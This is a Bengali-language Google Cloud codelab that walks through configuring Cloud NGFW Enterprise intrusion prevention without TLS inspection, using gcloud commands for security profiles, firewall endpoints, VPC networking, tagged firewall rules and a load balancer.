ক্লাউড NGFW এন্টারপ্রাইজ - অনুপ্রবেশ প্রতিরোধ পরিষেবা (TLS পরিদর্শন ছাড়া)

১. ভূমিকা

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল (NGFW)

ক্লাউড নেক্সট জেনারেশন ফায়ারওয়াল হলো একটি সম্পূর্ণ ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা, যা আপনার গুগল ক্লাউড ওয়ার্কলোডকে অভ্যন্তরীণ ও বাহ্যিক আক্রমণ থেকে সুরক্ষিত রাখতে উন্নত সুরক্ষা ক্ষমতা, মাইক্রো-সেগমেন্টেশন এবং ব্যাপক কভারেজ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ-এর নিম্নলিখিত সুবিধাগুলো রয়েছে:

  • ডিস্ট্রিবিউটেড ফায়ারওয়াল পরিষেবা: ক্লাউড এনজিএফডব্লিউ জিরো-ট্রাস্ট নিরাপত্তা আর্কিটেকচার সক্ষম করার জন্য প্রতিটি ওয়ার্কলোডের উপর একটি স্টেটফুল, সম্পূর্ণ ডিস্ট্রিবিউটেড হোস্ট-ভিত্তিক প্রয়োগ ব্যবস্থা প্রদান করে।
  • সরলীকৃত কনফিগারেশন এবং স্থাপন: ক্লাউড এনজিএফডব্লিউ (Cloud NGFW) নেটওয়ার্ক এবং হায়ারারকিক্যাল ফায়ারওয়াল পলিসি প্রয়োগ করে যা একটি রিসোর্স হায়ারার্কি নোডের সাথে সংযুক্ত করা যেতে পারে। এই পলিসিগুলো গুগল ক্লাউড রিসোর্স হায়ারার্কি জুড়ে একটি সামঞ্জস্যপূর্ণ ফায়ারওয়াল অভিজ্ঞতা প্রদান করে।
  • সূক্ষ্ম নিয়ন্ত্রণ এবং মাইক্রো-সেগমেন্টেশন: ফায়ারওয়াল পলিসি এবং আইডেন্টিটি অ্যান্ড অ্যাক্সেস ম্যানেজমেন্ট (IAM) দ্বারা পরিচালিত ট্যাগ-এর সমন্বয়, ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্ক এবং সংস্থা জুড়ে, একটি একক VM পর্যন্ত নর্থ-সাউথ এবং ইস্ট-ওয়েস্ট উভয় ট্র্যাফিকের জন্য সূক্ষ্ম নিয়ন্ত্রণ প্রদান করে।

ক্লাউড এনজিএফডব্লিউ নিম্নলিখিত টায়ারগুলিতে উপলব্ধ:

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ তার ডিস্ট্রিবিউটেড গুগল ক্লাউড ফায়ারওয়াল ফ্যাব্রিকে ইন্ট্রুশন প্রিভেনশন সার্ভিস (আইপিএস) যুক্ত করে, যা একটি লেয়ার ৭ সক্ষমতা। টিএলএস এনক্রিপ্টেড ট্র্যাফিক পরিদর্শনের জন্য টিএলএস ইন্সপেকশন সমর্থিত, কিন্তু এটি এই কোডল্যাবের আওতার বাইরে (দেখুন ‘ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ কোডল্যাব উইথ টিএলএস ইন্সপেকশন ’)।

এখন আপনি আপনার নেটওয়ার্ক আর্কিটেকচার বা রাউটিং কনফিগারেশনে কোনো পরিবর্তন না করেই, সূক্ষ্ম নিয়ন্ত্রণের মাধ্যমে নির্ভরযোগ্য লেয়ার ৭ নেক্সট জেনারেশন ফায়ারওয়াল (NGFW) পরিদর্শন ব্যবস্থা স্থাপন করতে পারেন।

IPS-এর মাধ্যমে লেয়ার ৭ ফায়ারওয়াল কন্ট্রোল সক্রিয় ও স্থাপন করতে, আপনাকে নিম্নলিখিত কাজগুলো সম্পাদন করতে হবে:

  • গুগল ক্লাউড পরিচালিত জোনাল ফায়ারওয়াল এন্ডপয়েন্টের একটি সেট তৈরি করুন।
  • ঐচ্ছিকভাবে একটি TLS পরিদর্শন নীতি তৈরি করুন (এই কোডল্যাবে অন্তর্ভুক্ত নয়)
  • ঐচ্ছিকভাবে একটি ট্রাস্ট কনফিগ তৈরি করুন (এই কোডল্যাবে অন্তর্ভুক্ত নয়)।
  • এই এন্ডপয়েন্টগুলিকে ভার্চুয়াল প্রাইভেট ক্লাউড (VPC) নেটওয়ার্কগুলির সাথে সংযুক্ত করুন যেখানে আপনার ক্লাউড NGFW এন্টারপ্রাইজ পরিষেবা প্রয়োজন।
  • বিভিন্ন ট্র্যাফিক পাথের জন্য থ্রেট প্রিভেনশন প্রোফাইল নির্দিষ্ট করতে আপনার বিদ্যমান ফায়ারওয়াল পলিসি এবং ফায়ারওয়াল রুলগুলিতে সাধারণ কিছু পরিবর্তন করুন।

নেটওয়ার্ক ফায়ারওয়াল নীতি

নেটওয়ার্ক ফায়ারওয়াল পলিসি ফায়ারওয়াল নিয়মগুলোর জন্য একটি ধারক হিসেবে কাজ করে। একটি নেটওয়ার্ক ফায়ারওয়াল পলিসিতে সংজ্ঞায়িত নিয়মগুলো ততক্ষণ পর্যন্ত কোথাও প্রয়োগ করা হয় না, যতক্ষণ না পলিসিটি একটি VPC নেটওয়ার্কের সাথে যুক্ত করা হয়। প্রতিটি VPC নেটওয়ার্কের সাথে একটি নেটওয়ার্ক ফায়ারওয়াল পলিসি যুক্ত থাকতে পারে। নেটওয়ার্ক ফায়ারওয়াল পলিসিগুলো ফায়ারওয়াল নিয়মে IAM-নিয়ন্ত্রিত ট্যাগ (বা শুধু ট্যাগ) সমর্থন করে, যা বর্তমান নেটওয়ার্ক ট্যাগগুলোকে প্রতিস্থাপন করে এবং ওয়ার্কলোডের পরিচয় প্রদানের জন্য ব্যবহার করা যেতে পারে।

বিভিন্ন নেটওয়ার্কে নেটওয়ার্ক ফায়ারওয়াল পলিসি শেয়ার করা এবং IAM-শাসিত ট্যাগগুলোর সাথে এর ইন্টিগ্রেশন ফায়ারওয়ালের কনফিগারেশন ও ব্যবস্থাপনাকে ব্যাপকভাবে সহজ করে তোলে।

নেটওয়ার্ক ফায়ারওয়াল পলিসি চালু হওয়ার ফলে, গুগল ক্লাউডের ফায়ারওয়াল পলিসিগুলোতে এখন নিম্নলিখিত উপাদানগুলো রয়েছে:

  1. শ্রেণিবদ্ধ ফায়ারওয়াল নীতি
  2. ভিপিসি ফায়ারওয়াল নিয়মাবলী
  3. নেটওয়ার্ক ফায়ারওয়াল নীতিমালা ( বৈশ্বিকআঞ্চলিক )

রিসোর্স হায়ারার্কির মধ্যে অর্গানাইজেশন এবং ফোল্ডার নোডগুলিতে হায়ারার্কিক্যাল ফায়ারওয়াল পলিসি সমর্থিত হয়, যেখানে ভিপিসি ফায়ারওয়াল রুল এবং নেটওয়ার্ক ফায়ারওয়াল পলিসি ভিপিসি লেভেলে প্রয়োগ করা হয়। ভিপিসি ফায়ারওয়াল রুল এবং নেটওয়ার্ক ফায়ারওয়াল পলিসির মধ্যে একটি বড় পার্থক্য হলো, ভিপিসি ফায়ারওয়াল রুল শুধুমাত্র একটি ভিপিসি নেটওয়ার্কে প্রয়োগ করা যায়, যেখানে নেটওয়ার্ক ফায়ারওয়াল পলিসি একটি একক ভিপিসি বা ভিপিসি-র একটি গ্রুপের সাথে সংযুক্ত করা যেতে পারে এবং এর সাথে ব্যাচ আপডেটের মতো অন্যান্য সুবিধাও রয়েছে।

অবশেষে, প্রতিটি VPC নেটওয়ার্কের সাথে কিছু অন্তর্নিহিত ফায়ারওয়াল নিয়মও থাকে:

  • একটি বহির্গমন নিয়ম যার অ্যাকশন হলো অনুমতি দেওয়া, গন্তব্য হলো 0.0.0.0/0
  • একটি ইনগ্রেস রুল যার অ্যাকশন হলো ডিনাই, সোর্স হলো 0.0.0.0/0

ডিফল্টরূপে, প্রয়োগের ক্রমটি নিম্নলিখিত ডায়াগ্রামে দেখানো হয়েছে:

21b3bcabc469ffe.png

অনুগ্রহ করে মনে রাখবেন যে, VPC ফায়ারওয়াল নিয়ম এবং গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসির মধ্যে প্রয়োগের ক্রম অদলবদল করা যেতে পারে। গ্রাহকরা যেকোনো সময় একটি gcloud কমান্ডের মাধ্যমে প্রয়োগের ক্রম নির্দিষ্ট করে দিতে পারেন।

IAM-শাসিত ট্যাগ

নেটওয়ার্ক ফায়ারওয়াল পলিসি নিয়মে সমন্বিত নতুন ট্যাগগুলো হলো কী-ভ্যালু পেয়ার রিসোর্স, যা গুগল ক্লাউড রিসোর্স হায়ারার্কির অর্গানাইজেশন বা প্রজেক্ট-স্তরে সংজ্ঞায়িত করা হয়। নাম থেকেই বোঝা যায়, এই ধরনের একটি ট্যাগে একটি IAM অ্যাক্সেস কন্ট্রোল থাকে, যা নির্দিষ্ট করে দেয় ট্যাগটির উপর কে কী করতে পারবে। উদাহরণস্বরূপ, IAM পারমিশন নির্দিষ্ট করে দেয় কোন প্রিন্সিপালরা ট্যাগে ভ্যালু নির্ধারণ করতে পারবে এবং কোন প্রিন্সিপালরা রিসোর্সে ট্যাগ সংযুক্ত করতে পারবে। কোনো রিসোর্সে একবার একটি ট্যাগ প্রয়োগ করা হলে, নেটওয়ার্ক ফায়ারওয়াল নিয়মগুলো ট্র্যাফিক অনুমোদন বা প্রত্যাখ্যান করার জন্য এটি ব্যবহার করতে পারে।

ট্যাগগুলি গুগল ক্লাউডের ইনহেরিটেন্স রিসোর্স মডেল মেনে চলে, যার অর্থ হলো ট্যাগ এবং তাদের মানগুলি হায়ারার্কি জুড়ে তাদের প্যারেন্টদের থেকে নিচের দিকে প্রবাহিত হয়। ফলে, ট্যাগগুলি এক জায়গায় তৈরি করা হলে রিসোর্স হায়ারার্কি জুড়ে অন্যান্য ফোল্ডার এবং প্রজেক্ট দ্বারা ব্যবহৃত হতে পারে। ট্যাগ এবং অ্যাক্সেস সীমাবদ্ধতা সম্পর্কে বিস্তারিত জানতে এই পৃষ্ঠাটি দেখুন।

ট্যাগকে নেটওয়ার্ক ট্যাগের সাথে গুলিয়ে ফেলা উচিত নয়। নেটওয়ার্ক ট্যাগ হলো এমন কিছু স্ট্রিং যা Compute Engine ইনস্ট্যান্সে যোগ করা যায়; এগুলো ইনস্ট্যান্সের সাথে যুক্ত থাকে এবং ইনস্ট্যান্সটি ডিকমিশন করা হলে অদৃশ্য হয়ে যায়। VPC ফায়ারওয়াল নিয়মে নেটওয়ার্ক ট্যাগ অন্তর্ভুক্ত থাকতে পারে, কিন্তু যেহেতু এগুলোকে ক্লাউড রিসোর্স হিসেবে গণ্য করা হয় না, তাই এগুলো IAM অ্যাক্সেস কন্ট্রোলের আওতাভুক্ত নয়।

উল্লেখ্য যে, এই নথিতে ট্যাগ এবং আইএএম-শাসিত ট্যাগ শব্দ দুটি সমার্থক হিসেবে ব্যবহৃত হচ্ছে।

আপনি যা তৈরি করবেন

এই কোডল্যাবটির জন্য একটিমাত্র প্রজেক্ট এবং পাবলিক কানেক্টিভিটিসহ একটি ভিপিসি নেটওয়ার্ক তৈরি করার সক্ষমতা প্রয়োজন, এবং এটি দেখাবে কিভাবে ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ নিম্নলিখিত উপায়ে আইপিএস কার্যকারিতা প্রদান করতে পারে:

  • আন্তঃ-VPC/সাবনেট প্রবাহ পরিদর্শন [পূর্ব-পশ্চিম]
  • ইন্টারনেট থেকে আগত প্রবাহ পরিদর্শন [উত্তর-দক্ষিণ]

যে ফ্লোগুলো পরিদর্শন করা হবে, সেগুলো ক্লাউড ফায়ারওয়ালের ম্যাচিং প্যারামিটার ব্যবহার করে নির্বাচন করা হবে, যার মধ্যে রয়েছে ৫-টাপল (সোর্স আইপি, ডেস্টিনেশন আইপি, প্রোটোকল, সোর্স পোর্ট, ডেস্টিনেশন পোর্ট) এবং ট্যাগ। এই কোডল্যাবে টিএলএস ইন্সপেকশন অন্তর্ভুক্ত নয়।

52a0642ef8668ecf.png

নেটওয়ার্ক ফায়ারওয়াল পলিসি রুলবেসটি নিচের টেবিলের অনুরূপ হবে:

অগ্রাধিকার

দিকনির্দেশনা

লক্ষ্য

উৎস

গন্তব্য

পদক্ষেপ

প্রকার

১০০

বহির্গমন

কোয়ারেন্টাইন_ট্যাগ

যেকোনো

যেকোনো

অস্বীকার করুন

প্রয়োজনীয় জিনিসপত্র

১০০০

প্রবেশ

সার্ভার_ট্যাগ

স্বাস্থ্য-পরীক্ষার পরিসর

যেকোনো

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

২০০০

প্রবেশ

যেকোনো

পরিচয়-সচেতন প্রক্সি রেঞ্জ

যেকোনো

অনুমতি দিন

প্রয়োজনীয় জিনিসপত্র

৩০০০

প্রবেশ

যেকোনো

জিও, জিসিটি

যেকোনো

অস্বীকার করুন

মান

৪০০০

বহির্গমন

যেকোনো

যেকোনো

জিও, জিসিটি

অস্বীকার করুন

মান

৫০০০

বহির্গমন

যেকোনো

যেকোনো

সিস্টেম আপডেট FQDN

অনুমতি দিন

মান

৬০০০

প্রবেশ

সার্ভার_ট্যাগ

১০.০.০.০/২৪

যেকোনো

আইপিএস

উদ্যোগ

৭০০০

প্রবেশ

সার্ভার_ট্যাগ

ক্লাউডন্যাট_আইপি

যেকোনো

আইপিএস

উদ্যোগ

আপনি যা শিখবেন

আপনার যা যা লাগবে

  • গুগল ক্লাউড প্রকল্প
  • ইনস্ট্যান্স স্থাপন এবং নেটওয়ার্কিং উপাদান কনফিগার করার জ্ঞান
  • VPC ফায়ারওয়াল কনফিগারেশন জ্ঞান

২. শুরু করার আগে

ভেরিয়েবল তৈরি/আপডেট করুন

এই কোডল্যাবটি ক্লাউড শেলে gcloud কনফিগারেশন বাস্তবায়নে সাহায্য করার জন্য $variables ব্যবহার করে।

ক্লাউড শেলে, নিচের কমান্ডগুলো চালান এবং প্রয়োজন অনুযায়ী বন্ধনীর ভেতরের তথ্য পরিবর্তন করুন (যদি কাঙ্ক্ষিত প্রজেক্টটি আগে থেকেই সেট করা থাকে, তবে তা সেট করার প্রয়োজন নেই)। যদি একাধিক, যেমন ফায়ারওয়াল এন্ডপয়েন্টের প্রয়োজন হয়, তবে সংস্থা-স্তরের রিসোর্সগুলোর জন্য একটি ভিন্ন ভেরিয়েবল ব্যবহার করা হয়।

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

৩. এপিআই সক্রিয় করুন

আপনি যদি API গুলি সক্রিয় না করে থাকেন তবে তা করুন:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

৪. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ নিরাপত্তা প্রোফাইল এবং এন্ডপয়েন্ট তৈরি

যেহেতু ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি হতে প্রায় ২০ মিনিট সময় লাগে, তাই এটি প্রথমে তৈরি করা হবে এবং এন্ডপয়েন্টটি তৈরি হওয়ার সময়েই বেস সেটআপের কাজ সমান্তরালভাবে করা যেতে পারে।

নিরাপত্তা প্রোফাইল এবং নিরাপত্তা প্রোফাইল গ্রুপ তৈরি করুন:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

প্রত্যাশিত আউটপুট:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

রিসোর্সগুলো সফলভাবে তৈরি হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

প্রত্যাশিত আউটপুট:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট তৈরি করুন:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

এন্ডপয়েন্টটি তৈরি হচ্ছে কিনা তা নিশ্চিত করতে নিচের কমান্ডটি চালান (অবস্থা: তৈরি হচ্ছে )।

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

এন্ডপয়েন্ট তৈরির প্রক্রিয়াটিতে প্রায় ২০ মিনিট সময় লাগে। সমান্তরালভাবে প্রয়োজনীয় রিসোর্সগুলো তৈরি করতে বেস সেটআপ বিভাগে যান।

৫. ভিত্তি স্থাপন

আপনি যদি বেস রিসোর্সগুলো ম্যানুয়ালি তৈরি করতে চান, তাহলে নিম্নলিখিত বিভাগগুলিতে যান।

ভিপিসি নেটওয়ার্ক এবং সাবনেট

ভিপিসি নেটওয়ার্ক এবং সাবনেট

VPC নেটওয়ার্ক এবং সাবনেট তৈরি করুন:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

ক্লাউড ন্যাট

ক্লাউড রাউটার এবং ক্লাউড NAT গেটওয়ে তৈরি করুন:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

উদাহরণ

ক্লায়েন্ট এবং ওয়েব-সার্ভার ইনস্ট্যান্স তৈরি করুন:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

প্রকল্প-স্তরের ট্যাগ

প্রয়োজনে ব্যবহারকারীকে tagAdmin এবং/অথবা tagUser অনুমতি প্রদান করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

প্রজেক্ট-স্তরের ট্যাগ কী এবং ভ্যালু তৈরি করুন:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

ইনস্ট্যান্সের সাথে ট্যাগ সংযুক্ত করুন:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল নীতি

গ্লোবাল নেটওয়ার্ক ফায়ারওয়াল পলিসি তৈরি করুন:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

কোয়ারেন্টাইন করা ইনস্ট্যান্সগুলো থেকে ট্র্যাফিক প্রত্যাখ্যান করতে (শুধুমাত্র উদাহরণ হিসেবে তৈরি, এই কোডল্যাবে ব্যবহৃত হচ্ছে না) এবং হেলথ-চেকআইডেন্টিটি-অ্যাওয়্যার প্রক্সি রেঞ্জগুলো থেকে ট্র্যাফিক অনুমোদন করতে ক্লাউড ফায়ারওয়ালের অপরিহার্য নিয়ম তৈরি করুন:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

নিষেধাজ্ঞাভুক্ত দেশ, পরিচিত ক্ষতিকারক আইপি এবং ToR এক্সিট নোড থেকে/সেখানে ইনগ্রেস ও ইগ্রেস ট্র্যাফিক অস্বীকার করতে; এবং শুধুমাত্র সিস্টেম আপডেটের জন্য নির্দিষ্ট FQDN-এ ইগ্রেস ট্র্যাফিকের অনুমতি দিতে ক্লাউড ফায়ারওয়াল স্ট্যান্ডার্ড নিয়ম তৈরি করুন (শুধুমাত্র উদাহরণ হিসেবে তৈরি, এই কোডল্যাবে ব্যবহৃত হচ্ছে না):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

নির্দিষ্ট রেঞ্জগুলো থেকে পূর্ব-পশ্চিম / আন্তঃ-সাবনেট এবং উত্তর-দক্ষিণ / ইন্টারনেট ট্র্যাফিকের অনুমতি দেওয়ার জন্য ক্লাউড ফায়ারওয়াল নিয়ম তৈরি করুন (ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ সক্রিয় করার জন্য এই নিয়মগুলো আপডেট করা হবে):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

VPC নেটওয়ার্কের সাথে নেটওয়ার্ক ফায়ারওয়াল পলিসিটি সংযুক্ত করুন:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

বাহ্যিক TCP/UDP নেটওয়ার্ক লোড ব্যালেন্সার

একটি এক্সটার্নাল আইপি অ্যাড্রেস রিজার্ভ করুন এবং ইনস্ট্যান্স গ্রুপ ও হেলথ-চেক তৈরি করুন:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

ব্যাকএন্ড পরিষেবা এবং ফরওয়ার্ডিং নিয়ম তৈরি করুন:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

৬. ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজ এন্ডপয়েন্ট অ্যাসোসিয়েশন

প্রয়োজনে এনভায়রনমেন্ট ভেরিয়েবলগুলো পুনরায় সংজ্ঞায়িত করুন।

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট তৈরি সফলভাবে সম্পন্ন হয়েছে কিনা তা নিশ্চিত করুন। স্টেট ACTIVE হিসেবে দেখানো হলেই কেবল অগ্রসর হন (তৈরির সময় প্রত্যাশিত স্টেট CREATING থাকে):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

প্রত্যাশিত আউটপুট (উল্লেখ্য যে, ব্যবহৃত ক্লায়েন্ট অনুযায়ী আউটপুট ফরম্যাট ভিন্ন হতে পারে):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্টটিকে VPC নেটওয়ার্কের সাথে সংযুক্ত করুন:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

সংযুক্তিকরণ প্রক্রিয়াটিতে প্রায় ১০ মিনিট সময় লাগে। অবস্থাটি ACTIVE হিসেবে দেখানো হলেই কেবল অগ্রসর হন (তৈরি করার সময় প্রত্যাশিত অবস্থাটি CREATING থাকে):

gcloud network-security firewall-endpoint-associations list

প্রত্যাশিত আউটপুট:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

ঐচ্ছিকভাবে, আরও বিস্তারিত জানতে নিচের কমান্ডটি চালান:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

প্রত্যাশিত আউটপুট:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

